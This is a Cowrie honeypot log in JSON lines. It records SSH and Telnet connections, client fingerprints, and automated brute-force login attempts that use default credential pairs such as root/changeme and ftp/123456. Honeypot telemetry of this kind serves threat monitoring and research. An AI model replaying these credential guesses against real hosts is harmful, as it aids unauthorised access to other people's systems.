{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:06.521070Z","src_ip":"176.65.132.129","session":"eb8a0dac57ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41588,"dst_ip":"159.203.135.109","dst_port":23,"session":"20959e095034","protocol":"telnet","message":"New connection: 38.60.198.128:41588 (159.203.135.109:23) [session: 20959e095034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:07.008279Z"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:07.725279Z","src_ip":"199.195.254.215","session":"dafe1a95bc95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57136,"dst_ip":"10.17.0.5","dst_port":22,"session":"87f2adf4533f","protocol":"ssh","message":"New connection: 176.65.132.129:57136 (10.17.0.5:22) [session: 87f2adf4533f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:08.502967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:08.508335Z","src_ip":"176.65.132.129","session":"87f2adf4533f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43938,"dst_ip":"159.203.135.109","dst_port":23,"session":"0273e64804d7","protocol":"telnet","message":"New connection: 38.60.198.128:43938 (159.203.135.109:23) [session: 0273e64804d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:08.557519Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:08.591518Z","src_ip":"176.65.132.129","session":"87f2adf4533f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:08.839606Z","src_ip":"176.65.132.129","session":"87f2adf4533f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":57836,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9e411aaa1c7","protocol":"ssh","message":"New connection: 57.128.222.14:57836 (159.203.135.109:22) [session: f9e411aaa1c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:09.904786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:09.910339Z","src_ip":"57.128.222.14","session":"f9e411aaa1c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:09.925241Z","src_ip":"176.65.132.129","session":"87f2adf4533f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:10.016625Z","src_ip":"57.128.222.14","session":"f9e411aaa1c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweRT123","message":"login attempt [root/qweRT123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:10.466799Z","src_ip":"57.128.222.14","session":"f9e411aaa1c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":52340,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5d2785e85bc","protocol":"telnet","message":"New connection: 45.81.23.16:52340 (10.17.0.5:23) [session: d5d2785e85bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:11.497797Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:11.574185Z","src_ip":"57.128.222.14","session":"f9e411aaa1c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57138,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0e8e8ff6669","protocol":"ssh","message":"New connection: 176.65.132.129:57138 (10.17.0.5:22) [session: a0e8e8ff6669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:11.846669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:11.851747Z","src_ip":"176.65.132.129","session":"a0e8e8ff6669","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:11.935695Z","src_ip":"176.65.132.129","session":"a0e8e8ff6669","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:12.188790Z","src_ip":"176.65.132.129","session":"a0e8e8ff6669","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":52350,"dst_ip":"10.17.0.5","dst_port":23,"session":"e55fd1deb1b7","protocol":"telnet","message":"New connection: 45.81.23.16:52350 (10.17.0.5:23) [session: e55fd1deb1b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:12.600770Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":52366,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ae95c02c575","protocol":"telnet","message":"New connection: 45.81.23.16:52366 (10.17.0.5:23) [session: 0ae95c02c575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:13.043354Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:13.273441Z","src_ip":"176.65.132.129","session":"a0e8e8ff6669","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.82092308998108,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:13.824577Z","src_ip":"38.60.198.128","session":"5a5c9fac45db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49068,"dst_ip":"159.203.135.109","dst_port":23,"session":"949124597987","protocol":"telnet","message":"New connection: 38.60.198.128:49068 (159.203.135.109:23) [session: 949124597987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:13.850897Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57148,"dst_ip":"10.17.0.5","dst_port":22,"session":"8755ea07099c","protocol":"ssh","message":"New connection: 176.65.132.129:57148 (10.17.0.5:22) [session: 8755ea07099c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:15.267963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:15.273317Z","src_ip":"176.65.132.129","session":"8755ea07099c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:15.481334Z","src_ip":"176.65.132.129","session":"8755ea07099c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:15.758862Z","src_ip":"176.65.132.129","session":"8755ea07099c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:16.845570Z","src_ip":"176.65.132.129","session":"8755ea07099c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.368451833724976,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:17.969103Z","src_ip":"45.81.23.16","session":"e55fd1deb1b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":56268,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b37b024bc56","protocol":"telnet","message":"New connection: 192.211.53.160:56268 (159.203.135.109:23) [session: 7b37b024bc56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:18.088704Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45738,"dst_ip":"10.17.0.5","dst_port":22,"session":"5922616cf206","protocol":"ssh","message":"New connection: 176.65.132.129:45738 (10.17.0.5:22) [session: 5922616cf206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:18.824584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:18.829980Z","src_ip":"176.65.132.129","session":"5922616cf206","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:18.916053Z","src_ip":"176.65.132.129","session":"5922616cf206","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:19.163379Z","src_ip":"176.65.132.129","session":"5922616cf206","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:20.303738Z","src_ip":"176.65.132.129","session":"5922616cf206","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45760,"dst_ip":"10.17.0.5","dst_port":22,"session":"b734c203192b","protocol":"ssh","message":"New connection: 176.65.132.129:45760 (10.17.0.5:22) [session: b734c203192b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:22.181637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:22.186027Z","src_ip":"176.65.132.129","session":"b734c203192b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:22.267794Z","src_ip":"176.65.132.129","session":"b734c203192b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:22.513644Z","src_ip":"176.65.132.129","session":"b734c203192b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:23.598493Z","src_ip":"176.65.132.129","session":"b734c203192b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.195868253707886,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:24.693532Z","src_ip":"45.81.23.16","session":"d5d2785e85bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.673324584960938,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:24.716549Z","src_ip":"45.81.23.16","session":"0ae95c02c575","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50722,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2e1f1476a5b","protocol":"ssh","message":"New connection: 176.65.132.129:50722 (10.17.0.5:22) [session: e2e1f1476a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:25.733820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:25.738061Z","src_ip":"176.65.132.129","session":"e2e1f1476a5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:25.819981Z","src_ip":"176.65.132.129","session":"e2e1f1476a5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:26.069066Z","src_ip":"176.65.132.129","session":"e2e1f1476a5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:27.153499Z","src_ip":"176.65.132.129","session":"e2e1f1476a5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.45702123641968,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:41:27.784244Z","src_ip":"38.60.198.128","session":"3139751bb153","protocol":"telnet"}
